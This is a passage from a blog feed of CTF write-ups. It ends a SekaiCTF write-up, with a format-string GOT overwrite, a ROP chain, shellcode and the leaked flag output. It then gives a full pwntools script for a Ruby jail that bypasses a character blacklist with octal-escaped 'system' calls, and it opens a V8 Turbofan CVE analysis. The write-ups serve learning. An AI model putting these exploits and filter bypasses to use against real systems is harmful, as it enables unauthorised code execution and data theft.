<p>My second approach was to write a ropchain to the stack, however owing to the amount of space i was only able to write about 2 qwords - not enough for anything resembling a ropchain.</p>

<p>The reason I used so many bytes was because if i used more than a certain number of padding characters for my format string at a time, seccomp would kill my process due to SIGSYS (bad syscall). I thought it could be <code class="language-plaintext highlighter-rouge">brk()</code> triggering this, as it is a trick in CTF to get malloc to call by providing an obscenely large string, but i never took the time to figure it out.</p>

<p>My final approach is fairly simple - yet ironically took me the longest to come up with. If we take a look at the stack before we call <code class="language-plaintext highlighter-rouge">putc</code>, we can see the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x007fffffffe230│+0x0000: 0x0000000000000000	 ← $rsp
0x007fffffffe238│+0x0008: 0x0000000000000002
0x007fffffffe240│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	 ← $r10
0x007fffffffe248│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAA"
0x007fffffffe250│+0x0020: "AAAAAAAAAAAAAAA"
0x007fffffffe258│+0x0028: 0x41414141414141 ("AAAAAAA"?)
0x007fffffffe260│+0x0030: 0x0000000000000000
0x007fffffffe268│+0x0038: 0x0000000000000000
</code></pre></div></div>

<p>We have 2 qwords, and then our input buffer. This made me think - what if I hijacked <code class="language-plaintext highlighter-rouge">putc@got</code> with a gadget that has more than 2 pops? Then surely our stack ptr would be on top of our input - and we could have an actual ropchain!</p>

<p>My payload in the end looked like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">pload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"%5554c"</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"%10$hn"</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">4</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'putc'</span><span class="p">])</span> 
    <span class="c1">#0x00000000004015bb: pop rdi; ret; 
</span>    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4015bb</span><span class="p">)</span>
    <span class="c1"># 0x4021a0 - 0x4021a4  →   "%80s" 
</span>    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4021a0</span><span class="p">)</span>
    <span class="c1">#0x00000000004015b9: pop rsi; pop r15; ret;
</span>    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4015b9</span><span class="p">)</span>
    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rwx</span><span class="p">)</span>
    <span class="n">pload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mi">8</span>
    <span class="c1">#pload += p64(0x4015bb+1)
</span>    <span class="c1"># [0x404088] __isoc99_scanf@GLIBC_2.7  →  0x401116
</span>    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x401116</span><span class="p">)</span> 
    <span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rwx</span><span class="p">)</span>
</code></pre></div></div>

<p>First we hit the got like we talked about, we overwrite the last 2 bytes so it looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  x/7i 0x4015b2
   0x4015b2:	pop    rbx
   0x4015b3:	pop    rbp
   0x4015b4:	pop    r12
   0x4015b6:	pop    r13
   0x4015b8:	pop    r14
   0x4015ba:	pop    r15
   0x4015bc:	ret
</code></pre></div></div>

<p>This is enough pops that we can safely return into our input string after our payload.</p>

<p>Next, we setup a small chain to call <code class="language-plaintext highlighter-rouge">scanf("%80s", 0x405000)</code> so we can load an initial shellcode.</p>

<p>My first shellcode is a small <code class="language-plaintext highlighter-rouge">read</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    mov rax, 0 
    mov rdi, 0 
    mov rsi, 0x405000 
    mov rdx, 0x4141 
    syscall
</code></pre></div></div>

<p>The idea being that my final payload can have any number of badchars, and i wont have to deal with <code class="language-plaintext highlighter-rouge">scanf</code> failing - because fuck <code class="language-plaintext highlighter-rouge">scanf</code> :) .</p>

<p>My final payload will require some explanation:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    shc = asm(''' 

    pop rcx
    pop rcx
    pop rcx
    pop rcx
    sub rcx, 0x240b3
    mov rsi, rcx 
    sub rsi, 0x2910
    mov rsi, qword ptr [rsi]
    add rsi, 0x290
    mov rax, 1 
    mov rdi, 1 
    mov rdx, 64 
    syscall

    ''')

    p.sendline(b"\x90"*0x20 + shc)
</code></pre></div></div>

<p>Firstly, we <code class="language-plaintext highlighter-rouge">pop rcx</code>. This is because further down the stack, there is a pointer to <code class="language-plaintext highlighter-rouge">__libc_start_main</code>. Once we get it, subtract to get the base of libc - not really needed but its convenient. Finally, i did some looking around for a heap address we could load, and I found that the address of the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> is stored in the <a href="https://web.mit.edu/rhel-doc/3/rhel-gcc-en-3/thread-local.html">thread local storage</a>.</p>

<p>I wont explain much of it, but its basically just an area you can use to store variables uniquely to a thread. It also stores some data such as the original canary, some destructor functions, and some other stuff.</p>

<p>So we subtract from libc until we reach the tls, as it is stored adjacent to libc, and then we load the heap address. Since the flag is the second chunk allocated after the tcache, all we have to do is add the size to its address, and we should be able to get the flag chunk.</p>

<p>Finally we write out what should be the flag to stdout:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>                                                                                       QAAAAp@@[DEBUG] Received 0x78 bytes:
    00000000  53 45 4b 41  49 7b 59 30  75 5f 67 30  54 5f 6d 33  │SEKA│I{Y0│u_g0│T_m3│
    00000010  5f 6e 40 77  5f 39 33 65  31 32 37 66  63 36 65 33  │_n@w│_93e│127f│c6e3│
    00000020  61 62 37 33  37 31 32 34  30 38 61 35  30 39 30 66  │ab73│7124│08a5│090f│
    00000030  63 39 61 31  32 7d 00 00  00 00 00 00  00 00 00 00  │c9a1│2}··│····│····│
    00000040  2f 72 75 6e  2e 73 68 3a  20 6c 69 6e  65 20 33 3a  │/run│.sh:│ lin│e 3:│
    00000050  20 20 20 36  31 33 20 53  65 67 6d 65  6e 74 61 74  │   6│13 S│egme│ntat│
    00000060  69 6f 6e 20  66 61 75 6c  74 20 20 20  20 20 20 2e  │ion │faul│t   │   .│
    00000070  2f 73 61 76  65 6d 65 0a                            │/sav│eme·│
    00000078
SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}\x00\x00\x00\x00\x00/run.sh: line 3:   613 Segmentation fault      ./saveme
</code></pre></div></div>

<p>This challenge was pretty fun - it reminded me of how many different ways you can exploit an arbitrary write in a context like this. Now that we found flag, we have to give his gift back - we never even used the stack leak!</p>

<p>;(</p>

<h1 id="closing-remarks">Closing remarks</h1>

<p>Fun challenge, and very fun ctf. Thats it.</p>

<p>See you in another 3 months :P.</p>

<p>Also thanks to my teammate <a href="https://ctftime.org/user/88332">striker</a>for his help on the challenge.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro Hello again, its been a while. Havent written anything recently mainly because I dont have anything to write about - im still playing ctf but most of the challenges I solve (or more likely, fail miserably to solve) don’t have anything that hasnt been discussed already at length - and in a much more entertaining and informative way than i could. Today is different, though. This weekend i played SekaiCTF with zh3r0. I only managed to solve a single pwn challenge - saveme. It was fairly unique - not as much as the other pwn challenges, though :P. The challenge Starting the binary we are greeted with a simple prompt: This is the message from flag: ------------------------------------------------------ | I got lost in my memory, moving around and around. | | Please help me out! | | Here is your gift: 0x7fff84b50a40 | ------------------------------------------------------ [1] Save him [2] Ignore Your option: Already a stack leak, nice. Apparently flag has gotten lost somewhere in memory. We have the choice to either save him, or ignore him. Well, given that I’m playing ctf I dont have time for the problems of others at the moment, so we ignore: Please leave note for the next person: We can leave a note for the next poor soul that comes by, okay. Which then gets printed back to us - of course. Reversing Checksec gives us: [*] '/root/Documents/CTF/SekaiCTF22/saveme/saveme' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fc000) Partial relro and no PIE generally makes a nice 1-2 combo - lets see if we can use this anywhere. The main function looks like this: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 choice; // [rsp+8h] [rbp-68h] BYREF char format[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v6; // [rsp+68h] [rbp-8h] v6 = __readfsqword(0x28u); choice = 0LL; load_flag(a1, a2, a3); alloc_mem_and_setup(format); seccomp_start(); puts("This is the message from flag:"); puts("------------------------------------------------------"); puts("| I got lost in my memory, moving around and around. |"); puts("| Please help me out! |"); printf("| Here is your gift: %p |\n", format);// memory leak? puts("------------------------------------------------------"); puts("[1] Save him"); puts("[2] Ignore"); printf("Your option: "); __isoc99_scanf("%lld", &amp;choice); if ( choice == 1 ) { puts("Hmmm, so where should I start to go?"); } else if ( choice == 2 ) { printf("Please leave note for the next person: "); __isoc99_scanf("%80s", format); printf(format); // fsb putc(10, stdout); } return 0LL; } Prett much what we would expect from out interactions. However there are a few intersting functions - and an obvious format string bug. Lets take a look at load_flag: unsigned __int64 load_flag() { int fd; // [rsp+Ch] [rbp-14h] void *buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); buf = malloc(0x50uLL); fd = open("flag.txt", 0); if ( fd == -1 ) { puts("Cannot read flag!\nExiting..."); exit(-1); } read(fd, buf, 0x50uLL); close(fd); return v3 - __readfsqword(0x28u); } Nice, so no need to open the file ourselves - the flag will be stored on the heap, so once we get some kind of code execution it should be fairly easy to find. Now lets take a look into alloc_mem_and_setup: unsigned __int64 __fastcall alloc_mem_and_setup(void *a1) { unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(a1, 0, 0x50uLL); mmap((void *)0x405000, 0x1000uLL, 7, 34, 0, 0LL);// rwx mem return v2 - __readfsqword(0x28u); } Very interesting, it seems the author is giving us a not so subtle nudge that to reach the flag, we should be using shellcode. Theres one more function that we should be interested in, seccomp_start: unsigned __int64 sub_4012BB() { __int64 v1; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = seccomp_init(0LL); seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL); seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL); seccomp_load(v1); return v2 - __readfsqword(0x28u); } So we setup some rules, we can see them clearer using seccomp-tools: oot in ~/Documents/CTF/SekaiCTF22/saveme λ seccomp-tools dump ./saveme line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A &lt; 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 0007: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL So, we allow only the x86_64 syscalls for read, write and exit_group. This is fine though, because as we saw prior the flag is already in memory - so no need to open it a second time. Now that we have a good idea of our situation, lets move on to exploitation. Exploitation The important thing here is the scanf - we only get 80 chars of space. I tried a lot of different approaches. The first was hijacking putc@got to return back into main to get more uses of the fsb this always resulted in either printf or scanf segfaulting in-function due to a mis-aligned stack. We can see in the instruction documentation for movaps that When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated. This is generally the case for instructions that deal with floating points that require writing to a destination. My second approach was to write a ropchain to the stack, however owing to the amount of space i was only able to write about 2 qwords - not enough for anything resembling a ropchain. The reason I used so many bytes was because if i used more than a certain number of padding characters for my format string at a time, seccomp would kill my process due to SIGSYS (bad syscall). I thought it could be brk() triggering this, as it is a trick in CTF to get malloc to call by providing an obscenely large string, but i never took the time to figure it out. My final approach is fairly simple - yet ironically took me the longest to come up with. If we take a look at the stack before we call putc, we can see the following: 0x007fffffffe230│+0x0000: 0x0000000000000000 ← $rsp 0x007fffffffe238│+0x0008: 0x0000000000000002 0x007fffffffe240│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ← $r10 0x007fffffffe248│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAA" 0x007fffffffe250│+0x0020: "AAAAAAAAAAAAAAA" 0x007fffffffe258│+0x0028: 0x41414141414141 ("AAAAAAA"?) 0x007fffffffe260│+0x0030: 0x0000000000000000 0x007fffffffe268│+0x0038: 0x0000000000000000 We have 2 qwords, and then our input buffer. This made me think - what if I hijacked putc@got with a gadget that has more than 2 pops? Then surely our stack ptr would be on top of our input - and we could have an actual ropchain! My payload in the end looked like this: pload = b"%5554c" + b"%10$hn" + b"A"*4 + p64(e.got['putc']) #0x00000000004015bb: pop rdi; ret; pload += p64(0x4015bb) # 0x4021a0 - 0x4021a4 → "%80s" pload += p64(0x4021a0) #0x00000000004015b9: pop rsi; pop r15; ret; pload += p64(0x4015b9) pload += p64(rwx) pload += b"B"*8 #pload += p64(0x4015bb+1) # [0x404088] __isoc99_scanf@GLIBC_2.7 → 0x401116 pload += p64(0x401116) pload += p64(rwx) First we hit the got like we talked about, we overwrite the last 2 bytes so it looks like: gef➤ x/7i 0x4015b2 0x4015b2: pop rbx 0x4015b3: pop rbp 0x4015b4: pop r12 0x4015b6: pop r13 0x4015b8: pop r14 0x4015ba: pop r15 0x4015bc: ret This is enough pops that we can safely return into our input string after our payload. Next, we setup a small chain to call scanf("%80s", 0x405000) so we can load an initial shellcode. My first shellcode is a small read: mov rax, 0 mov rdi, 0 mov rsi, 0x405000 mov rdx, 0x4141 syscall The idea being that my final payload can have any number of badchars, and i wont have to deal with scanf failing - because fuck scanf :) . My final payload will require some explanation: shc = asm(''' pop rcx pop rcx pop rcx pop rcx sub rcx, 0x240b3 mov rsi, rcx sub rsi, 0x2910 mov rsi, qword ptr [rsi] add rsi, 0x290 mov rax, 1 mov rdi, 1 mov rdx, 64 syscall ''') p.sendline(b"\x90"*0x20 + shc) Firstly, we pop rcx. This is because further down the stack, there is a pointer to __libc_start_main. Once we get it, subtract to get the base of libc - not really needed but its convenient. Finally, i did some looking around for a heap address we could load, and I found that the address of the tcache_perthread_struct is stored in the thread local storage. I wont explain much of it, but its basically just an area you can use to store variables uniquely to a thread. It also stores some data such as the original canary, some destructor functions, and some other stuff. So we subtract from libc until we reach the tls, as it is stored adjacent to libc, and then we load the heap address. Since the flag is the second chunk allocated after the tcache, all we have to do is add the size to its address, and we should be able to get the flag chunk. Finally we write out what should be the flag to stdout: QAAAAp@@[DEBUG] Received 0x78 bytes: 00000000 53 45 4b 41 49 7b 59 30 75 5f 67 30 54 5f 6d 33 │SEKA│I{Y0│u_g0│T_m3│ 00000010 5f 6e 40 77 5f 39 33 65 31 32 37 66 63 36 65 33 │_n@w│_93e│127f│c6e3│ 00000020 61 62 37 33 37 31 32 34 30 38 61 35 30 39 30 66 │ab73│7124│08a5│090f│ 00000030 63 39 61 31 32 7d 00 00 00 00 00 00 00 00 00 00 │c9a1│2}··│····│····│ 00000040 2f 72 75 6e 2e 73 68 3a 20 6c 69 6e 65 20 33 3a │/run│.sh:│ lin│e 3:│ 00000050 20 20 20 36 31 33 20 53 65 67 6d 65 6e 74 61 74 │ 6│13 S│egme│ntat│ 00000060 69 6f 6e 20 66 61 75 6c 74 20 20 20 20 20 20 2e │ion │faul│t │ .│ 00000070 2f 73 61 76 65 6d 65 0a │/sav│eme·│ 00000078 SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}\x00\x00\x00\x00\x00/run.sh: line 3: 613 Segmentation fault ./saveme This challenge was pretty fun - it reminded me of how many different ways you can exploit an arbitrary write in a context like this. Now that we found flag, we have to give his gift back - we never even used the stack leak! ;( Closing remarks Fun challenge, and very fun ctf. Thats it. See you in another 3 months :P. Also thanks to my teammate strikerfor his help on the challenge.]]></summary></entry><entry><title type="html">UACTF 2022 Evil Eval writeup</title><link href="https://volticks.github.io/Evil-Eval-Writeup/" rel="alternate" type="text/html" title="UACTF 2022 Evil Eval writeup" /><published>2022-07-31T00:00:00+00:00</published><updated>2022-07-31T00:00:00+00:00</updated><id>https://volticks.github.io/Evil-Eval-Writeup</id><content type="html" xml:base="https://volticks.github.io/Evil-Eval-Writeup/"><![CDATA[<h1 id="intro">Intro</h1>
<p>Hello again.</p>

<p>This past weekend, me and my teammates at <a href="https://ctftime.org/team/116018">zh3r0</a> competed in <a href="https://ctftime.org/event/1709">UACTF 2022</a>. The ctf was pretty good, and had a wide variety of challenges. One of these challenges was <code class="language-plaintext highlighter-rouge">Evil eval</code>. And oh boy was it evil.</p>

<h2 id="the-challenge">The challenge</h2>
<p>This was in the pwn category. We are given a netcat command, and when we log in we are greeted by:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>------------------------------------------
| UNCOMPLICATED COMMAND-LINE CALCULATOR! |
------------------------------------------

Example Usage:
(1 + 2) * 3
&gt; (1 + 2) * 3 = 9
</code></pre></div></div>

<p>We can type equations - and also commands into the calculator as long as they are &lt; 8 unique bytes long. I’ve tried some challenges like this before, so I was immediately thinking “it must be a pyjail challenge!”. It was a jail challenge, so I was half right, but the assumption about python is something i wasted <em>HOURS</em> of my time on.</p>

<h2 id="limitations">Limitations</h2>
<p>I previously mentioned that there can only be 8 unique chars per command/equation. There was another restriction I didn’t mention:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>asd
&gt; asd = One or more of the following characters have been blocked: 'f', 'l', 'a', 'g', '.', 't', 'x', 't', and/or '`'
</code></pre></div></div>

<p>This limitation left me pretty stumped for the majority of the CTF, there are not functions (in python) that can be used to execute code that dont contain a blacklisted character (<code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">exec</code>). In addition to this it was possible to open a file as <code class="language-plaintext highlighter-rouge">open</code> doesnt trigger the blacklist, however it was impossible to read the file since <code class="language-plaintext highlighter-rouge">read</code> does.</p>

<p>So no progress was made here for quite a while.</p>

<h1 id="revelations">Revelations</h1>
<p>On the last day of the CTF, my teammate <a href="https://ctftime.org/user/73367"><code class="language-plaintext highlighter-rouge">_wh1t3r0se_</code></a> made an interesting observation, the challenge was not python, but ruby.</p>

<p>This didnt click with me at first, as I dont know any ruby and was so far into the pyjail rabbit hole that I hadn’t even taken the time to consider the chance that I wasnt seeing python. Indeed, if you look up any error message from the session, you would find it to be ruby.</p>

<p>This opened up some new possibilities for exploiting the jail.</p>

<h2 id="exploitation">Exploitation</h2>

<p>I had been googling <code class="language-plaintext highlighter-rouge">python pyjail execute string as function</code> when I found <code class="language-plaintext highlighter-rouge">eval</code> and <code class="language-plaintext highlighter-rouge">exec</code>. So it only made sense to do the same for ruby.</p>

<p>I ended up finding <a href="https://stackoverflow.com/questions/1407451/calling-a-method-from-a-string-with-the-methods-name-in-ruby">this</a> stack overflow post, and from that found the <code class="language-plaintext highlighter-rouge">send</code> method. Looking at the <a href="https://ruby-doc.org/core-3.1.2/Object.html#method-i-send">documentation</a> we can see that the format is <code class="language-plaintext highlighter-rouge">send(method, args)</code>. This was perfect.</p>

<p>Heres my script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>


<span class="k">def</span> <span class="nf">convert_str_to_oct_list</span><span class="p">(</span><span class="n">string</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="nb">oct</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">string</span><span class="p">]</span>


<span class="k">def</span> <span class="nf">sendstr</span><span class="p">(</span><span class="n">str0</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">str0</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">str0</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">,</span> <span class="n">name</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"+=</span><span class="se">\"\\</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="se">\"</span><span class="s">"</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">p</span>
    <span class="n">str0</span> <span class="o">=</span> <span class="n">convert_str_to_oct_list</span><span class="p">(</span><span class="s">"system"</span><span class="p">)</span>
    <span class="n">str1</span> <span class="o">=</span> <span class="n">convert_str_to_oct_list</span><span class="p">(</span><span class="s">"cat flag.txt"</span><span class="p">)</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenges.uactf.com.au"</span><span class="p">,</span> <span class="mi">30000</span><span class="p">)</span>
    
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"e=</span><span class="se">\"\"</span><span class="s">"</span><span class="p">)</span>
    <span class="n">sendstr</span><span class="p">(</span><span class="n">str0</span><span class="p">,</span> <span class="s">"e"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"E=</span><span class="se">\"\"</span><span class="s">"</span><span class="p">)</span>
    <span class="n">sendstr</span><span class="p">(</span><span class="n">str1</span><span class="p">,</span> <span class="s">"E"</span><span class="p">)</span>

    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"send(e,E)"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<p>Theres one last thing to explain. We were able to get around the filters by first creating an empty string, and then adding the escaped octal representations of the characters into the string one at a time. Hexadecimal representations couldnt be used because of the <code class="language-plaintext highlighter-rouge">x</code> character, so this was the next logical step.</p>

<p>I also had some wierd issues with the variable names, but <code class="language-plaintext highlighter-rouge">e</code> and <code class="language-plaintext highlighter-rouge">E</code> worked fine.</p>

<p>(Thanks to <a href="https://ctftime.org/user/78954">finch</a> for cleaning up the string -&gt; octal conversion).</p>

<h1 id="closing-remarks">Closing remarks</h1>
<p>This is without a doubt the shortest writeup I have ever made - maybe I won’t ramble for as long from now on. Probably not.</p>

<p>When I lay out the pieces, this challenge seems easy - and it was easy, really. The main obstacle was the filter, and bypassing it via string conversions. However I added another hurdle when I went full tunnel vision down the <code class="language-plaintext highlighter-rouge">pyjail</code> rabbit hole.</p>

<p>Some (me included) would argue that this challenge isn’t really pwn - however what this challenge and real pwn challenges have in common is that they become infinitely harder when you add more obstacles, especially when those obstacles are your own stubbornness.</p>

<p>If theres anything to take from this, its probably not to focus on any one thing too much, and make sure to challenge any assumptions you have, whether you do pwn, or whatever category this challenge fits in.</p>

<p>Cya.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro Hello again. This past weekend, me and my teammates at zh3r0 competed in UACTF 2022. The ctf was pretty good, and had a wide variety of challenges. One of these challenges was Evil eval. And oh boy was it evil. The challenge This was in the pwn category. We are given a netcat command, and when we log in we are greeted by: ------------------------------------------ | UNCOMPLICATED COMMAND-LINE CALCULATOR! | ------------------------------------------ Example Usage: (1 + 2) * 3 &gt; (1 + 2) * 3 = 9 We can type equations - and also commands into the calculator as long as they are &lt; 8 unique bytes long. I’ve tried some challenges like this before, so I was immediately thinking “it must be a pyjail challenge!”. It was a jail challenge, so I was half right, but the assumption about python is something i wasted HOURS of my time on. Limitations I previously mentioned that there can only be 8 unique chars per command/equation. There was another restriction I didn’t mention: asd &gt; asd = One or more of the following characters have been blocked: 'f', 'l', 'a', 'g', '.', 't', 'x', 't', and/or '`' This limitation left me pretty stumped for the majority of the CTF, there are not functions (in python) that can be used to execute code that dont contain a blacklisted character (eval, exec). In addition to this it was possible to open a file as open doesnt trigger the blacklist, however it was impossible to read the file since read does. So no progress was made here for quite a while. Revelations On the last day of the CTF, my teammate _wh1t3r0se_ made an interesting observation, the challenge was not python, but ruby. This didnt click with me at first, as I dont know any ruby and was so far into the pyjail rabbit hole that I hadn’t even taken the time to consider the chance that I wasnt seeing python. Indeed, if you look up any error message from the session, you would find it to be ruby. This opened up some new possibilities for exploiting the jail. Exploitation I had been googling python pyjail execute string as function when I found eval and exec. So it only made sense to do the same for ruby. I ended up finding this stack overflow post, and from that found the send method. Looking at the documentation we can see that the format is send(method, args). This was perfect. Heres my script: ```python from pwn import * context.log_level = “debug”]]></summary></entry><entry><title type="html">Analyzing CVE-2021-30513</title><link href="https://volticks.github.io/Analyzing-CVE-2021-30513/" rel="alternate" type="text/html" title="Analyzing CVE-2021-30513" /><published>2022-03-22T00:00:00+00:00</published><updated>2022-03-22T00:00:00+00:00</updated><id>https://volticks.github.io/Analyzing-CVE-2021-30513</id><content type="html" xml:base="https://volticks.github.io/Analyzing-CVE-2021-30513/"><![CDATA[<h1 id="analyzing--cve-2021-30513">Analyzing  CVE-2021-30513</h1>
<h2 id="blurb">Blurb</h2>
<p>Hello again, its been more than just a few months, I know. But I didnt have anything to write about really - Im not gonna pretend my input is any more valuable than the hundreds of cool blog posts already out there (except when i do ;) ).</p>

<p>Recently, i’ve been trying to understand as much about Turbofan as i can, specifically the typer and bugs relating to the typer. As a stepping stone to do this ive been looking through some older CVE’s - which is something i’d recommend anyone with a similar goal to do. The end goal of this being to find a bug through source review in either the typer OR in simplified-lowering phases.</p>

<p>Anyway - this will most likely be a very, very long blog post. It also requires a lil’ bit of background knowledge on turbofan and V8 (that means a fuckton). I’m just gonna link the standard blog posts:</p>

<ul>
  <li><a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/">Intro to turbofan</a></li>
  <li><a href="https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/">Another great post by Jeremy Fetiveau</a></li>
  <li><a href="https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/">A great companion piece to this, as it deals with a similar confusion</a> not necessary reading, but would recommend as it lays out stuff better than I can.</li>
  <li><a href="https://faraz.faith/2021-01-07-cve-2020-16040-analysis/">An awesome post by faraz, which looks in great depth at simplified-lowering</a></li>
</ul>

<p>(The last one is my fav). Now thats over with, lets look at the bug.</p>

<h1 id="the-bug">The bug</h1>
<p>Lets start with the chrome <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1200490">bug report</a> you can find the ccorrect checkout and extra details there.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In SpeculativeNumberMultiply, a |Signed32| type restriction is placed on the feedback type of the node if both inputs are of type |Signed32| and the type hint is |kSignedSmall| [1]. While this is guarded by the |LowerToCheckedInt32Mul| function, the function will not deopt if the truncation is set to |kIdentifyZero| [2]. In this case, the feedback type of the node will be set to |Signed32| and will not deopt even if it becomes -0.
</code></pre></div></div>

<p>Lets find the code being discussed - its inside the <code class="language-plaintext highlighter-rouge">VisitNode</code> function, which is inside simplified-lowering:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">case</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kSpeculativeNumberMultiply</span><span class="p">:</span> <span class="p">{</span>
        <span class="c1">// [...]</span>

        <span class="c1">// Try to use type feedback.</span>
        <span class="n">NumberOperationHint</span> <span class="n">hint</span> <span class="o">=</span> <span class="n">NumberOperationHintOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">op</span><span class="p">());</span>
        <span class="n">Type</span> <span class="n">input0_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
        <span class="n">Type</span> <span class="n">input1_type</span> <span class="o">=</span> <span class="n">TypeOf</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>

        <span class="c1">// Handle the case when no int32 checks on inputs are necessary</span>
        <span class="c1">// (but an overflow check is needed on the output).</span>
